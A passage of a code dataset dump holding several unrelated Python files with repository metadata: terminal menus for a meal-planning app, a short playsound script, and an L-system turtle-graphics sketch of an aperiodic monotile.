value')\n\t\t\t\t\t\t\t\tnoerror = False\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\n\t\t\t\t\tif noerror:\n\t\t\t\t\t\tbreak\n\t\t\t\t\t\n\t\t\t\telse:\n\t\t\t\t\tprint('Error, you must type 1 2 3 4 6 or 12 numbers. ')\n\t\t\n\t\tif kind == 'ingredient':\n\t\t\tself.ingredients.append( (name, coef) )\n\t\telif kind == 'extra':\n\t\t\tself.extra.append( (name, coef) )\n\t\telif kind == 'accompaniment':\n\t\t\tself.accompaniments.append( name )\n\t\telse:\n\t\t\tself.sub.append( Element(name,\n\t\t\t\t\tcoef,\n\t\t\t\t\tkind\n\t\t\t\t\t) )\n\t\n\t\n\t\n\t\n\tdef manageIngredient(self):\n\t\t'''the menu to see and edit ingrédients list'''\n\t\tpage = 0\n\t\t\n\t\twhile(True):\n\t\t\tos.system('clear')# clear terminal output\n\t\t\t\n\t\t\tmaxPage = ceil(len(self.ingredients) / 15)-1\n\t\t\tif (page > maxPage):\n\t\t\t\tpage = max ( 0, maxPage )\n\t\t\t\n\t\t\tself.printList( page, self.ingredients, 'ingredients' )\n\t\t\t\n\t\t\tmenu = input('your move ? (h for help):').strip()\n\t\t\t\n\t\t\tif(menu.lower() in ['exit', 'o', 'out', 'q', 'quit']):\n\t\t\t\tif( menu[0].isupper() ):\n\t\t\t\t\treturn ( True, False, False )\n\t\t\t\telse:\n\t\t\t\t\treturn ( False, False, False )\n\t\t\t\t\n\t\t\telif(menu == 'SAFE'):\n\t\t\t\treturn ( False, True, False )\n\t\t\t\t\n\t\t\telif(menu.lower() in ['m', 'main']):\n\t\t\t\treturn ( False, False, True )\n\t\t\t\t\n\t\t\telif(menu.lower() in ['help', 'h']):\n\t\t\t\tprint('''Help:\n\nIn menu:\nType: To:\n< or - Previous 15 elements of the list\n> or + Next 15 elements of the list\nempty input Same thing, back to first page when out of range\nn or new Add an ingredient\nd N or delete N delete the ingredient with index N\nd 0 1 2 3 delete each ingredient listed (0 1 2 and 3)\n\nh or help Get some help\nq or quit Quit the menu\nQ or Quit Quit the app (automatically save before)\nSAFE Quit the app WITHOUT saving\nm or main Return to the main menu''')\n\t\t\t\t\n\t\t\t\tinput('Press enter to continue')\n\t\t\telif ( menu in [ '-', '<' ] ):\n\t\t\t\tif page > 0:\n\t\t\t\t\tpage -= 1\n\t\t\telif (menu in [ '', '+', '>' ] ):\n\t\t\t\tmaxPage = ceil(len(self.sub) / 15)\n\t\t\t\t\n\t\t\t\tif(page < maxPage):\n\t\t\t\t\tpage += 1\n\t\t\t\telif( menu == ''):\n\t\t\t\t\tpage = 0\n\t\t\t\telse:\n\t\t\t\t\tpage = maxPage\n\t\t\t\t\n\t\t\telif(menu.lower() in [ 'n', 'new' ] ):\n\t\t\t\tself.add(kind='ingredient')\n\t\t\t\t\n\t\t\telif menu.startswith('delete ') or menu.startswith('d ') :\n\t\t\t\tif menu.startswith('delete '):\n\t\t\t\t\ti = menu[7:].split(' ')\n\t\t\t\telse:\n\t\t\t\t\ti = menu[2:].split(' ')\n\t\t\t\t\n\t\t\t\t# get ingredient index\n\t\t\t\ttry:\n\t\t\t\t\tindex = []\n\t\t\t\t\tfor el in i:\n\t\t\t\t\t\tif el != '':\n\t\t\t\t\t\t\tindex.append( int( el ) )\n\t\t\t\t\t\n\t\t\t\texcept Exception as e:\n\t\t\t\t\tprint('Error: «'+el+'» is not an integer')\n\t\t\t\t\tinput('press enter to continue')\n\t\t\t\t\tcontinue\n\t\t\t\t\n\t\t\t\t# erase index duplicate values\n\t\t\t\tindex = list( set( index ) )\n\t\t\t\t\n\t\t\t\t# check index is in the range\n\t\t\t\terror = False\n\t\t\t\tnames = []\n\t\t\t\tfor i in index:\n\t\t\t\t\tif i >= len(self.ingredients) or i < 0:\n\t\t\t\t\t\tinput('No ingredient with index '+str(i)+'. press enter to continue.')\n\t\t\t\t\t\terror = True\n\t\t\t\t\t\tbreak\n\t\t\t\t\telse:\n\t\t\t\t\t\tnames.append(self.ingredients[i][0])\n\t\t\t\tif error:\n\t\t\t\t\tcontinue\n\t\t\t\tnames = ', '.join(names)\n\t\t\t\t\n\t\t\t\t# ask to confirm\n\t\t\t\tif input('do you realy want to delete «'+names+'» ingredient?(press enter to confirm or type anything to cancel)') != '':\n\t\t\t\t\tcontinue\n\t\t\t\t\n\t\t\t\t# erase each ingredient\n\t\t\t\tindex.sort(reverse=True)\n\t\t\t\tfor i in index:\n\t\t\t\t\tself.ingredients.pop(i)\n\t\t\t\n\t\n\t\n\t\n\t\n\tdef manageExtra(self):\n\t\t'''the menu to see and edit extra ingrédients list'''\n\t\tpage = 0\n\t\t\n\t\twhile(True):\n\t\t\tos.system('clear')# clear terminal output\n\t\t\t\n\t\t\tmaxPage = ceil(len(self.extra) / 15)-1\n\t\t\tif (page > maxPage):\n\t\t\t\tpage = max ( 0, maxPage )\n\t\t\t\n\t\t\tself.printList( page, self.extra, 'extra ingredients' )\n\t\t\t\n\t\t\tmenu = input('your move ? (h for help):').strip()\n\t\t\t\n\t\t\tif(menu.lower() in ['exit', 'o', 'out', 'q', 'quit']):\n\t\t\t\tif( menu[0].isupper() ):\n\t\t\t\t\treturn ( True, False, False )\n\t\t\t\telse:\n\t\t\t\t\treturn ( False, False, False )\n\t\t\t\t\n\t\t\telif(menu == 'SAFE'):\n\t\t\t\treturn ( False, True, False )\n\t\t\t\t\n\t\t\telif(menu.lower() in ['m', 'main']):\n\t\t\t\treturn ( False, False, True )\n\t\t\t\t\n\t\t\telif(menu.lower() in ['help', 'h']):\n\t\t\t\tprint('''Help:\n\nIn menu:\nType: To:\n< or - Previous 15 elements of the list\n> or + Next 15 elements of the list\nempty input Same thing, back to first page when out of range\nn or new create an extra ingredient\ndelete N delete the extra ingredient with index N\nd 0 1 2 3 delete each extra ingredient listed (0 1 2 and 3)\n\nh or help Get some help\nq or quit Quit the menu\nQ or Quit Quit the app (automatically save before)\nSAFE Quit the app WITHOUT saving\nm or main Return to the main menu''')\n\t\t\t\t\n\t\t\t\tinput('Press enter to continue')\n\t\t\telif ( menu in [ '-', '<' ] ):\n\t\t\t\tif page > 0:\n\t\t\t\t\tpage -= 1\n\t\t\telif (menu in [ '', '+', '>' ] ):\n\t\t\t\tmaxPage = ceil(len(self.sub) / 15)\n\t\t\t\t\n\t\t\t\tif(page < maxPage):\n\t\t\t\t\tpage += 1\n\t\t\t\telif( menu == ''):\n\t\t\t\t\tpage = 0\n\t\t\t\telse:\n\t\t\t\t\tpage = maxPage\n\t\t\t\t\n\t\t\telif(menu.lower() in [ 'n', 'new' ] ):\n\t\t\t\tself.add(kind = 'extra')\n\t\t\t\t\n\t\t\telif menu.startswith('delete ') or menu.startswith('d ') :\n\t\t\t\tif menu.startswith('delete '):\n\t\t\t\t\ti = menu[7:].split(' ')\n\t\t\t\telse:\n\t\t\t\t\ti = menu[2:].split(' ')\n\t\t\t\t\n\t\t\t\t# get extra ingredient index\n\t\t\t\ttry:\n\t\t\t\t\tindex = []\n\t\t\t\t\tfor el in i:\n\t\t\t\t\t\tif el != '':\n\t\t\t\t\t\t\tindex.append( int( el ) )\n\t\t\t\t\t\n\t\t\t\texcept Exception as e:\n\t\t\t\t\tprint('Error: «'+el+'» is not an integer')\n\t\t\t\t\tinput('press enter to continue')\n\t\t\t\t\tcontinue\n\t\t\t\t\n\t\t\t\t# erase index duplicate values\n\t\t\t\tindex = list( set( index ) )\n\t\t\t\t\n\t\t\t\t# check index is in the range\n\t\t\t\terror = False\n\t\t\t\tnames = []\n\t\t\t\tfor i in index:\n\t\t\t\t\tif i >= len(self.extra) or i < 0:\n\t\t\t\t\t\tinput('No extra ingredient with index '+str(i)+'. press enter to continue.')\n\t\t\t\t\t\terror = True\n\t\t\t\t\t\tbreak\n\t\t\t\t\telse:\n\t\t\t\t\t\tnames.append(self.extra[i][0])\n\t\t\t\tif error:\n\t\t\t\t\tcontinue\n\t\t\t\tnames = ', '.join(names)\n\t\t\t\t\n\t\t\t\t# ask to confirm\n\t\t\t\tif input('do you realy want to delete «'+names+'» extra ingredient?(press enter to confirm or type anything to cancel)') != '':\n\t\t\t\t\tcontinue\n\t\t\t\t\n\t\t\t\t# erase each extra ingredient\n\t\t\t\tindex.sort(reverse=True)\n\t\t\t\tfor i in index:\n\t\t\t\t\tself.extra.pop(i)\n\t\n\t\n\t\n\t\n\tdef manageAccompaniment(self):\n\t\t'''the menu to see and edit accompaniments list'''\n\t\tpage = 0\n\t\t\n\t\twhile(True):\n\t\t\tos.system('clear')# clear terminal output\n\t\t\t\n\t\t\tmaxPage = ceil(len(self.accompaniments) / 15)-1\n\t\t\tif (page > maxPage):\n\t\t\t\tpage = max ( 0, maxPage )\n\t\t\t\n\t\t\tself.printList( page, self.accompaniments, 'accompaniments' )\n\t\t\t\n\t\t\tmenu = input('your move ? (h for help):').strip()\n\t\t\t\n\t\t\tif(menu.lower() in ['exit', 'o', 'out', 'q', 'quit']):\n\t\t\t\tif( menu[0].isupper() ):\n\t\t\t\t\treturn ( True, False, False )\n\t\t\t\telse:\n\t\t\t\t\treturn ( False, False, False )\n\t\t\t\t\n\t\t\telif(menu == 'SAFE'):\n\t\t\t\treturn ( False, True, False )\n\t\t\t\t\n\t\t\telif(menu.lower() in ['m', 'main']):\n\t\t\t\treturn ( False, False, True )\n\t\t\t\t\n\t\t\telif(menu.lower() in ['help', 'h']):\n\t\t\t\tprint('''Help:\n\nIn menu:\nType: To:\n< or - Previous 15 elements of the list\n> or + Next 15 elements of the list\nempty input Same thing, back to first page when out of range\nn or new Create an accompaniment\ndefault Add default accompaniments\ndelete N delete the accompaniment with index N\nd 0 1 2 3 delete each accompaniment listed (0 1 2 and 3)\n\nh or help Get some help\nq or quit Quit the menu\nQ or Quit Quit the app (automatically save before)\nSAFE Quit the app WITHOUT saving\nm or main Return to the main menu''')\n\t\t\t\t\n\t\t\t\tinput('Press enter to continue')\n\t\t\telif ( menu in [ '-', '<' ] ):\n\t\t\t\tif page > 0:\n\t\t\t\t\tpage -= 1\n\t\t\telif (menu in [ '', '+', '>' ] ):\n\t\t\t\tmaxPage = ceil(len(self.sub) / 15)\n\t\t\t\t\n\t\t\t\tif(page < maxPage):\n\t\t\t\t\tpage += 1\n\t\t\t\telif( menu == ''):\n\t\t\t\t\tpage = 0\n\t\t\t\telse:\n\t\t\t\t\tpage = maxPage\n\t\t\t\t\n\t\t\telif(menu.lower() in [ 'n', 'new' ] ):\n\t\t\t\tself.add(kind = 'accompaniment')\n\t\t\telif(menu.lower() == 'default' ):\n\t\t\t\tfor acc in [ \n\t\t\t\t\t\t\t'Pasta',\n\t\t\t\t\t\t\t'Rice',\n\t\t\t\t\t\t\t'Potatoes',\n\t\t\t\t\t\t\t'Wheat',\n\t\t\t\t\t\t\t'Vegetable'\n\t\t\t\t\t\t\t]:\n\t\t\t\t\tif acc not in self.accompaniments:\n\t\t\t\t\t\tself.accompaniments.append(acc)\n\t\t\t\t\n\t\t\telif menu.startswith('delete ') or menu.startswith('d ') :\n\t\t\t\tif menu.startswith('delete '):\n\t\t\t\t\ti = menu[7:].split(' ')\n\t\t\t\telse:\n\t\t\t\t\ti = menu[2:].split(' ')\n\t\t\t\t\n\t\t\t\t# get accompaniment index\n\t\t\t\ttry:\n\t\t\t\t\tindex = []\n\t\t\t\t\tfor el in i:\n\t\t\t\t\t\tif el != '':\n\t\t\t\t\t\t\tindex.append( int( el ) )\n\t\t\t\t\t\n\t\t\t\texcept Exception as e:\n\t\t\t\t\tprint('Error: «'+el+'» is not an integer')\n\t\t\t\t\tinput('press enter to continue')\n\t\t\t\t\tcontinue\n\t\t\t\t\n\t\t\t\t# erase index duplicate values\n\t\t\t\tindex = list( set( index ) )\n\t\t\t\t\n\t\t\t\t# check index is in the range\n\t\t\t\terror = False\n\t\t\t\tnames = []\n\t\t\t\tfor i in index:\n\t\t\t\t\tif i >= len(self.accompaniments) or i < 0:\n\t\t\t\t\t\tinput('No accompaniment with index '+str(i)+'. press enter to continue.')\n\t\t\t\t\t\terror = True\n\t\t\t\t\t\tbreak\n\t\t\t\t\telse:\n\t\t\t\t\t\tnames.append(self.accompaniments[i])\n\t\t\t\tif error:\n\t\t\t\t\tcontinue\n\t\t\t\tnames = ', '.join(names)\n\t\t\t\t\n\t\t\t\t# ask to confirm\n\t\t\t\tif input('do you realy want to delete «'+names+'» accompaniments?(press enter to confirm or type anything to cancel)') != '':\n\t\t\t\t\tcontinue\n\t\t\t\t\n\t\t\t\t# erase each accompaniments\n\t\t\t\tindex.sort(reverse=True)\n\t\t\t\tfor i in index:\n\t\t\t\t\tself.accompaniments.pop(i)\n\t\n\t\n\t\n\t\n\tdef manageRelatedMeal(self, main, path ):\n\t\t'''the menu to see and edit related meal list'''\n\t\tpath = path.split('|')\n\t\tpage = 0\n\t\t\n\t\twhile(True):\n\t\t\tos.system('clear')# clear terminal output\n\t\t\t\n\t\t\tmaxPage = ceil(len(self.related) / 15)-1\n\t\t\tif (page > maxPage):\n\t\t\t\tpage = max ( 0, maxPage )\n\t\t\t\n\t\t\tself.printSuggested( page )\n\t\t\t\n\t\t\tmenu = input('your move ? (h for help):').strip()\n\t\t\t\n\t\t\tif(menu.lower() in ['exit', 'o', 'out', 'q', 'quit']):\n\t\t\t\tif( menu[0].isupper() ):\n\t\t\t\t\treturn ( True, False, False )\n\t\t\t\telse:\n\t\t\t\t\treturn ( False, False, False )\n\t\t\t\t\n\t\t\telif(menu == 'SAFE'):\n\t\t\t\treturn ( False, True, False )\n\t\t\t\t\n\t\t\telif(menu.lower() in ['m', 'main']):\n\t\t\t\treturn ( False, False, True )\n\t\t\t\t\n\t\t\telif(menu.lower() in ['help', 'h']):\n\t\t\t\tprint('''Help:\n\nIn menu:\nType: To:\n< or - Previous 15 elements of the list\n> or + Next 15 elements of the list\nempty input Same thing, back to first page when out of range\nn or new Relate to another meal\nd N or delete N unrelate the meal with index N\nd 0 1 2 3 unrelate each meal listed (0 1 2 and 3)\n\nh or help Get some help\nq or quit Quit the menu\nQ or Quit Quit the app (automatically save before)\nSAFE Quit the app WITHOUT saving\nm or main Return to the main menu''')\n\t\t\t\t\n\t\t\t\tinput('Press enter to continue')\n\t\t\t\t\n\t\t\telif ( menu in [ '-', '<' ] ):\n\t\t\t\tif page > 0:\n\t\t\t\t\tpage -= 1\n\t\t\telif (menu in [ '', '+', '>' ] ):\n\t\t\t\tmaxPage = ceil(len(self.sub) / 15)\n\t\t\t\t\n\t\t\t\tif(page < maxPage):\n\t\t\t\t\tpage += 1\n\t\t\t\telif( menu == ''):\n\t\t\t\t\tpage = 0\n\t\t\t\telse:\n\t\t\t\t\tpage = maxPage\n\t\t\t\t\n\t\t\telif(menu.lower() in [ 'n', 'new' ] ):\n\t\t\t\tsuggest = main.suggest( path[-1], main )\n\t\t\t\t\n\t\t\t\tif suggest is not None and suggest is not True:\n\t\t\t\t\tif( path != suggest and path not in self.related):\n\t\t\t\t\t\tself.related.append( suggest )\n\t\t\t\t\t\t\n\t\t\t\t\t\tpath = '|'.join(path)\n\t\t\t\t\t\tsuggest = main.getPath(suggest.split('|'))\n\t\t\t\t\t\tif path not in suggest.related:\n\t\t\t\t\t\t\tsuggest.related.append( path )\n\t\t\t\t\n\t\t\telif menu.startswith('delete ') or menu.startswith('d ') :\n\t\t\t\tif menu.startswith('delete '):\n\t\t\t\t\ti = menu[7:].split(' ')\n\t\t\t\telse:\n\t\t\t\t\ti = menu[2:].split(' ')\n\t\t\t\t\n\t\t\t\t# get related meal index\n\t\t\t\ttry:\n\t\t\t\t\tindex = []\n\t\t\t\t\tfor el in i:\n\t\t\t\t\t\tif el != '':\n\t\t\t\t\t\t\tindex.append( int( el ) )\n\t\t\t\t\t\n\t\t\t\texcept Exception as e:\n\t\t\t\t\tprint('Error: «'+el+'» is not an integer')\n\t\t\t\t\tinput('press enter to continue')\n\t\t\t\t\tcontinue\n\t\t\t\t\n\t\t\t\t# erase index duplicate values\n\t\t\t\tindex = list( set( index ) )\n\t\t\t\t\n\t\t\t\t# check index is in the range\n\t\t\t\terror = False\n\t\t\t\tnames = []\n\t\t\t\tfor i in index:\n\t\t\t\t\tif i >= len(self.related) or i < 0:\n\t\t\t\t\t\tinput('No related meal with index '+str(i)+'. press enter to continue.')\n\t\t\t\t\t\terror = True\n\t\t\t\t\t\tbreak\n\t\t\t\t\telse:\n\t\t\t\t\t\tnames.append(self.related[i].split('|')[-1])\n\t\t\t\tif error:\n\t\t\t\t\tcontinue\n\t\t\t\tnames = ', '.join(names)\n\t\t\t\t\n\t\t\t\t# ask to confirm\n\t\t\t\tif input('do you realy want to delete «'+names+'» meal from the relate meal list?(press enter to confirm or type anything to cancel)') != '':\n\t\t\t\t\tcontinue\n\t\t\t\t\n\t\t\t\t# erase each ingredient\n\t\t\t\tindex.sort(reverse=True)\n\t\t\t\tfor i in index:\n\t\t\t\t\trelPath = self.related.pop(i).split('|')\n\t\t\t\t\tmain.getPath(relPath).related.remove( '|'.join( path) )\n\t\t\t\n\t\n\t\n\t\n\t\n\t\n\tdef printCoef(self, full = False , month = None ):\n\t\t'''display coefficients of the Element'''\n\t\tmonths = ['January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December']\n\t\t\n\t\tif month is not None:\n\t\t\tmonth -= 1\n\t\t\tprint('The coefficient is '+str( self.coef[ month ] )+' for '\\\n\t\t\t\t\t+months[month]+'.')\n\t\telif full:\n\t\t\tprint('''The current coefficients, month by month, are:\nJanuary => '''+str( self.coef[0] )+''' July => '''+str( self.coef[6] )+'''\nFebruary => '''+str( self.coef[1] )+''' August => '''+str( self.coef[7] )+'''\nMarch => '''+str( self.coef[2] )+''' September => '''+str( self.coef[8] )+'''\nApril => '''+str( self.coef[3] )+''' October => '''+str( self.coef[9] )+'''\nMay => '''+str( self.coef[4] )+''' November => '''+str( self.coef[10] )+'''\nJune => '''+str( self.coef[5] )+''' December => '''+str( self.coef[11] ))\n\t\telse:\n\t\t\tprint('coefficients :'+str( self.coef ))\n\t\n\t\n\t\n\t\n\tdef getPath(self, path):\n\t\t'''get element from path'''\n\t\tif len(path) > 0:\n\t\t\ts = path[0]\n\t\t\t\n\t\t\tfor sub in self.sub:\n\t\t\t\tif sub.name == s:\n\t\t\t\t\treturn sub.getPath( path[1:])\n\t\telse:\n\t\t\treturn self\n\t\n\t\n\t\n\t\n\t\n\tdef suggest(self, meal, main ):\n\t\t'''a method to suggest a meal to relate to another meal'''\n\t\tpage = 0\n\t\t\n\t\twhile(True):\n\t\t\tos.system('clear')# clear terminal output\n\t\t\t\n\t\t\tprint('Suggest a meal to relate to «'+meal+'»:')\n\t\t\t\n\t\t\tmaxPage = ceil(len(self.sub) / 15)-1\n\t\t\tif (page > maxPage):\n\t\t\t\tpage = max ( 0, maxPage )\n\t\t\t\n\t\t\tself.print(page, main.month)\n\t\t\t\n\t\t\tif self.kind == 'variant':\n\t\t\t\tchoice = input('Valid current choice (press enter)? (h for help):').strip()\n\t\t\telif self.kind == 'dish':\n\t\t\t\tchoice = input('Valid this choice (ok) or specify a variant choice: (h for help):').strip()\n\t\t\telse:\n\t\t\t\tchoice = input('your choice ? (h for help):').strip()\n\t\t\t\n\t\t\tif( choice.lower() in ['exit', 'o', 'out', 'q', 'quit'] ):\n\t\t\t\treturn None\n\t\t\t\t\n\t\t\telif( choice in ['c', 'cancel'] ):\n\t\t\t\treturn True\n\t\t\t\t\n\t\t\telif(choice in ['help', 'h']):\n\t\t\t\tprint('''Suggest a related meal,Help:\n\nsuggest a meal that can be eaten in the same moment.\n\nIn menu:\nType: To:\n< or - Previous 15 elements of the list\n> or + Next 15 elements of the list\nempty input Same thing, back to first page when out of range\nok valid current selection, you only can suggest dishes group, dish or dish variant\n\nc or cancel Quit suggestion menu\nq or quit Go back to previous group\nh or help Get some help''')\n\t\t\t\t\n\t\t\t\tinput('Press enter to continue')\n\t\t\telif (choice == '' and self.kind == 'variant'):\n\t\t\t\treturn self.name\n\t\t\telif (choice.lower() == 'ok' \n\t\t\t\t\t\tand self.kind in ['dish', 'variant'] ):\n\t\t\t\treturn self.name\n\t\t\telif ( choice in [ '-', '<' ] ):\n\t\t\t\tif page > 0:\n\t\t\t\t\tpage -= 1\n\t\t\telif (choice in [ '', '+', '>' ] ):\n\t\t\t\tmaxPage = ceil(len(self.sub) / 15)\n\t\t\t\t\n\t\t\t\tif(page < maxPage):\n\t\t\t\t\tpage += 1\n\t\t\t\telif( choice == ''):\n\t\t\t\t\tpage = 0\n\t\t\t\telse:\n\t\t\t\t\tpage = maxPage\n\t\t\telse:\n\t\t\t\ttry:\n\t\t\t\t\tchoice = int(choice)\n\t\t\t\texcept Exception as e:\n\t\t\t\t\tcontinue\n\t\t\t\t\n\t\t\t\tif choice < len( self.sub ):\n\t\t\t\t\tout = self.sub[choice].suggest( meal, main )\n\t\t\t\t\tif out is None:\n\t\t\t\t\t\tcontinue\n\t\t\t\t\telif out is True:\n\t\t\t\t\t\treturn True\n\t\t\t\t\telif self.name!= 'Main':\n\t\t\t\t\t\treturn self.name+'|'+out\n\t\t\t\t\telse:\n\t\t\t\t\t\treturn out\n\t\t\n\t\t\n\t\n\t\n\t\n\t\n\tdef freeName(self, name, tupleList = None):\n\t\t'''check if a sub element already use the name.'''\n\t\tif tupleList is None:\n\t\t\tfor el in self.sub:\n\t\t\t\tif el.name == name:\n\t\t\t\t\treturn False\n\t\telse:\n\t\t\tfor el in tupleList:\n\t\t\t\tif el[0] == name:\n\t\t\t\t\treturn False\n\t\t\n\t\treturn True\n\t\n\t\n\t\n\t\n\tdef printList(self, page, li = None, title = '' ):\n\t\t''' print part of the sub element list'''\n\t\tif li == None:\n\t\t\tli = self.sub\n\t\t\tif self.kind != 'dish':\n\t\t\t\ttitle = ''\n\t\telse:\n\t\t\ttitle = ' '+title\n\t\t\n\t\t# title\n\t\tprint('\t\t«'+self.name+'»'+title+' list:\\n')\n\t\t\n\t\t# empty list\n\t\tlength = len(li)\n\t\tif length == 0:\n\t\t\tprint('empty list')\n\t\t\treturn\n\t\t\n\t\t# page limits\n\t\ti = page * 15\n\t\tend = i+15\n\t\tif end > length:\n\t\t\tend = length\n\t\t\n\t\t# print page list\n\t\twhile(i < end):\n\t\t\tif(type (li[i]) is Element):\n\t\t\t\tline = li[i].name\n\t\t\t\t\n\t\t\t\t# limit name size\n\t\t\t\tif len(line) > 100:\n\t\t\t\t\tline = line[0:99] + '…'\n\t\t\t\t\n\t\t\telif(type (li[i]) is tuple):\n\t\t\t\tif li[i][1] == '':\n\t\t\t\t\tline = li[i][0]\n\t\t\t\telse:\n\t\t\t\t\tline = li[i][1]+' of '+li[i][0]\n\t\t\t\t\n\t\t\telif(type (li[i]) is str):\n\t\t\t\tline = li[i]\n\t\t\t\t\n\t\t\t\t# limit name size\n\t\t\t\tif len(line) > 100:\n\t\t\t\t\tline = line[0:99] + '…'\n\t\t\t\t\t\n\t\t\t\n\t\t\t# print name\n\t\t\tprint(str(i)+'- '+line)\n\t\t\ti+=1\n\t\n\t\n\t\n\t\n\tdef printSuggested( self, page):\n\t\t''' print part of the suggested meal list'''\n\t\t# title\n\t\tprint('\t\t«'+self.name+'» related meals list:\\n')\n\t\t\n\t\t# empty list\n\t\tlength = len(self.related)\n\t\tif length == 0:\n\t\t\tprint('No suggested meals! type «n» to add one.')\n\t\t\treturn\n\t\t\n\t\t# page limits\n\t\ti = page * 15\n\t\tend = i+15\n\t\tif end > length:\n\t\t\tend = length\n\t\t\n\t\t# print page list\n\t\twhile(i < end):\n\t\t\tline = self.related[i].split('|')[-1]\n\t\t\t\n\t\t\tif len(line) > 100:\n\t\t\t\tline = line[0:99] + '…'\n\t\t\t\n\t\t\t\n\t\t\t# print name\n\t\t\tprint(str(i)+'- '+line)\n\t\t\ti+=1\n\t\n\t\n\t\n\t\n\tdef editDescription(self):\n\t\t'''edit description'''\n\t\tif self.name=='Main':\n\t\t\treturn\n\t\t\n\t\tprint('Edit «'+self.name+'» description')\n\t\t\n\t\t# print current description\n\t\tif(self.description == ''):\n\t\t\tprint('Actually no description')\n\t\telse:\n\t\t\tprint('Current description:'+self.description+'\\n')\n\t\t\n\t\t# get new description\n\t\tdesc = input('Type the new description or nothing to cancel (only 500 usefull characters):\\n').strip()\n\t\t\n\t\t#apply change\n\t\tif (desc != ''):\n\t\t\tself.description = desc\n\t\telse:\n\t\t\tif (input('Erase old description? (y or yes):').strip().lower()\n\t\t\t\t\t\tin [ 'y', 'yes' ] ) :\n\t\t\t\tself.description = ''\n\t\t\t\n\t\n\n","repo_name":"CaptainDesAstres/Foodomize","sub_path":"Element.py","file_name":"Element.py","file_ext":"py","file_size_in_byte":53821,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"28511197903","text":"from playsound import playsound\n\nn=input(\"Enter the song :\")\na=\"C:\\\\Users\\\\Satyam\\\\Music\\\\songs\\\\bekhudi.mp3\" # The path of the song I wanted to play . \nb=\"C:\\\\Users\\\\Satyam\\\\Downloads\\\\Jarico - Island.mp3\" # The path of the song I wanted to play . \nc=\"C:\\\\Users\\\\Satyam\\\\Downloads\\\\Piano Sad Emotional.mp3\" # The path of the song I wanted to play . \n\nif n == \"a\":\n playsound(a)\nif n == \"b\":\n playsound(b)\nif n==\"c\":\n playsound(c)\n\n\n\n","repo_name":"satyam1256/use-of-playsound-module","sub_path":"solutions.py","file_name":"solutions.py","file_ext":"py","file_size_in_byte":443,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"9828636901","text":"import math\r\nimport turtle\r\nimport time\r\n\r\n# so after messing around with turtle and drawing the geometric series, i found a video about making patterns with lsystems\r\n# https://www.youtube.com/watch?v=f6ra024-ASY Im gonna try to take this idea and make something similar in python \r\n\r\n# basically an Lsystem will recursivly iterate a string, like turn x into xxy and turn y into yxy, and repeat\r\n# x -> xxy -> xxyxxyyxy -> xxyxxyyxyxxyxxyyxyyxyxxyyxy, etc\r\n# we'll do this with an alphabet we make and assign all the characters to a turtles function, and each iteration will follow the instructions represented by our new string\r\n# once we have this all working itll be as easy as swapping some numbers around to make lots and lots of fractals\r\n# btw a fractal is in essence a recurssive shape, so while there are many famous patterns we can try to make, theres probably lots of interesting ones with no name\r\nsavedPos = []\r\nposMark = (-1)\r\n\r\n\r\n\r\n\r\n\r\ndef lSystem(iter8s, ax, condition):\r\n seed = ax\r\n if iter8s == 0:\r\n return ax\r\n germSeed = \"\"\r\n for _ in range(iter8s):\r\n germSeed = \"\".join(condition[i] if i in condition else i for i in seed)\r\n seed = germSeed\r\n return germSeed\r\n \r\n \r\n\r\ndef savePos():\r\n x = turtle.xcor()\r\n y = turtle.ycor()\r\n h = turtle.heading()\r\n position = [x,y,h]\r\n savedPos.append(position)\r\n posMark = posMark + 1\r\n\r\ndef moveNoDraw(moveDist):\r\n turtle.penup()\r\n turtle.forward(moveDist)\r\n turtle.pendown\r\n \r\n\r\n#alphabet\r\ndef lSysTransl8(shape, sys, angle, moveDist):\r\n #time.sleep(3)\r\n i = 0\r\n for ex in sys:\r\n if ex == 'L':\r\n turtle.left(angle)\r\n elif ex == 'R':\r\n turtle.right(angle)\r\n elif ex == 'D':\r\n turtle.forward(moveDist)\r\n elif ex == 'F':\r\n moveNoDraw(moveDist)\r\n elif ex == 'E': # special move for aperiodic monotile\r\n turtle.forward(math.sqrt(3)*25) # ONLY *50 TO FIT SCREEN, FOR PRETTY NUMBERS USE 100\r\n\r\ndef main(iter8s, ax, condition, angle, dist):\r\n \r\n sys = lSystem(iter8s, ax, condition) #iter8s, ax, condition\r\n shape = turtle.Turtle()\r\n sc = turtle.Screen()\r\n sc.setup(450, 450)\r\n\r\n turtle.up()\r\n turtle.backward(0)\r\n turtle.left(90)\r\n turtle.backward(0)\r\n turtle.left(0)\r\n turtle.down()\r\n turtle.penup()\r\n turtle.setpos(-250,0)\r\n turtle.pendown()\r\n turtle.speed(0)\r\n turtle.pensize(2)\r\n shape.hideturtle\r\n\r\n lSysTransl8(shape, sys, angle, dist)\r\n\r\n\r\neinsteinTile = 0\r\n\r\n\r\n\r\n\r\nif einsteinTile == 0:\r\n # ~~ MIGHT BE WRONG HERE\r\n # ax = \"DLLDRRRERRELLLDRDRRRERRELLLDRRDDRRDRRRELLERR\"\r\n # ax = \"ERRRDLLDRRRERRELLLDRRDRRRERRELLLDRRDDRRDRRRELL\" def not THE aperiodic monotile, but close? found LOGO turtle script on github, said the E move im looking for was a*tan(60) but its not the hat\r\n ax = \"RRRDLLDRRRERRELLLDRRDRRRERRELLLDRRDDRRDRRRELLE\"\r\n condition = {\"D\":\"DLLDRRRERRELLLDRRDRRRERRELLLDRRDDLLDRRRELLE\"}\r\n iter8s = 0\r\n angle = 30\r\n dist = (1*50) # ONLY *50 TO FIT SCREEN, FOR PRETTY NUMBERS USE 100\r\n\r\n\r\nmain(iter8s, ax, condition, angle, dist)\r\nturtle.mainloop()","repo_name":"Archeamal/Portfolio","sub_path":"AperiodicMonotile.py","file_name":"AperiodicMonotile.py","file_ext":"py","file_size_in_byte":3202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"30957704489","text":"import warnings\n\nimport torch\nimport numpy as np\nimport os\nimport json\nfrom tqdm import tqdm\nfrom multiprocessing.dummy import Pool as ThreadPool\nfrom multiprocessing import Pool\nimport torch.nn.functional as F\n\nimport networkx as nx\nimport random\n\ndef load_problem(name):\n from problems import TSP, CVRP, SDVRP, OP, PCTSPDet, PCTSPStoch, TopoSort\n problem = {\n 'toposort': TopoSort,\n 'tsp': TSP,\n 